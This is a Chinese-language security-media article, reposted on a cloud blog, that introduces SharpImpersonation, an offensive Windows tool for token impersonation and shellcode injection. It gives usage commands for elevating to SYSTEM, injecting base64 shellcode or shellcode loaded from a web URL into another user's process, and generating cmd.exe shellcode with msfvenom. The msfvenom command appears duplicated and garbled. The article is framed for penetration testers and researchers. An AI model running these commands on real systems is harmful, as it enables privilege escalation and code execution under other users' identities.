前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SharpImpersonation:一款基于令牌和Shellcode注入的用户模拟工具

SharpImpersonation:一款基于令牌和Shellcode注入的用户模拟工具

作者头像
FB客服
发布2022-11-14 15:41:30
3610
发布2022-11-14 15:41:30
举报
文章被收录于专栏:FreeBuf

关于SharpImpersonation

SharpImpersonation是一款功能强大的用户模拟工具,该工具基于令牌机制和Shellcode注入技术实现其功能,可以帮助广大研究人员更好地对组织内部的网络环境和系统安全进行分析和测试。

该工具基于Tokenvator的代码库实现其功能,并对其部分代码进行了优化,同时还添加了还嗯多其他的功能,并且还参考借鉴了很多其他优秀的开源工具。

功能介绍

1、使用list参数枚举本地系统中的所有用户; 2、以非提权上下文枚举本地系统中的所有用户; 3、自动提权为“SYSTEM”; 4、搜索目标用户名的第一个进程,将其进程ID作为目标; 5、支持从Webserver加载Stager; 6、......

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/S3cur3Th1sSh1t/SharpImpersonation.git

(向右滑动,查看更多)

工具使用

枚举用户进程

代码语言:javascript
复制
PS > PS C:\temp> SharpImpersonation.exe list

枚举提权进程

代码语言:javascript
复制
PS > PS C:\temp> SharpImpersonation.exe list elevated

(向右滑动,查看更多)

模拟目标用户的第一个进程并执行新的代码

代码语言:javascript
复制
代码语言:javascript
复制
PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>

(向右滑动,查看更多)

向目标用户的第一个进程注入Base64编码的Shellcode

代码语言:javascript
复制
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>
(向右滑动,查看更多)

从Webserver载入Shellcode并注入到目标用户的第一个进程

代码语言:javascript
复制
代码语言:javascript
复制
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>

(向右滑动,查看更多)

通过ImpersonateLoggedOnuser模拟当前会话的目标用户

代码语言:javascript
复制
PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
(向右滑动,查看更多)

生成msfvenom Shellcode并注入到其他用户进程中

代码语言:javascript
复制
代码语言:javascript
复制
msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0

(向右滑动,查看更多)

项目地址

SharpImpersonation:

https://github.com/S3cur3Th1sSh1t/SharpImpersonation

参考资料:

https://github.com/0xbadjuju/Tokenvator https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/ https://lolbas-project.github.io/ https://thewover.github.io/Dynamic-Invoke/ https://github.com/TheWover/DInvoke https://github.com/djhohnstein/SharpChromium https://github.com/V1V1/SharpScribbles/tree/master/ThunderFox https://s3cur3th1ssh1t.github.io/On-how-to-access-protected-networks/ https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH https://www.mcafee.com/enterprise/en-us/assets/reports/rp-access-token-theft-manipulation-attacks.pdf

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-09-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 关于SharpImpersonation
  • 功能介绍
  • 工具下载
  • (向右滑动,查看更多)
  • 工具使用
    • 枚举用户进程
      • 枚举提权进程
      • (向右滑动,查看更多)
        • 模拟目标用户的第一个进程并执行新的代码
        • (向右滑动,查看更多)
          • 向目标用户的第一个进程注入Base64编码的Shellcode
            • 从Webserver载入Shellcode并注入到目标用户的第一个进程
            • (向右滑动,查看更多)
              • 通过ImpersonateLoggedOnuser模拟当前会话的目标用户
                • 生成msfvenom Shellcode并注入到其他用户进程中
                • (向右滑动,查看更多)
                • 项目地址
                • 参考资料:
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档